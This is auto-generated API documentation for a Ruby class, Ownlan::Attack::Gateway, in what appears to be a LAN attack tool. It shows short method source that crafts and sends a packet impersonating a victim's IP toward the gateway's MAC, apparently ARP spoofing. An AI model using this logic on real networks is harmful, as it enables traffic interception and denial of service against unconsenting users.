Class: Ownlan::Attack::Gateway
- Inherits:
-
Base
- Object
- Base
- Ownlan::Attack::Gateway
show all
- Defined in:
- lib/ownlan/attack/gateway.rb
Instance Attribute Summary
Attributes inherited from Base
#config, #crafted_packet
Instance Method Summary
collapse
Methods inherited from Base
#initialize, #ip_to_mac
Instance Method Details
#generate_packet ⇒ Object
11
12
13
14
15
16
17
18
19
20
21
|
# File 'lib/ownlan/attack/gateway.rb', line 11
def generate_packet
gw_ip = ServiceObjects::NetworkInformation.gateway_ip
saddr = config.source_mac
daddr = config.gateway_mac || gateway_mac(gw_ip)
saddr_ip = victim_ip
daddr_ip = gw_ip
@crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
end
|
#process ⇒ Object
5
6
7
8
9
|
# File 'lib/ownlan/attack/gateway.rb', line 5
def process
generate_packet
send_packet
end
|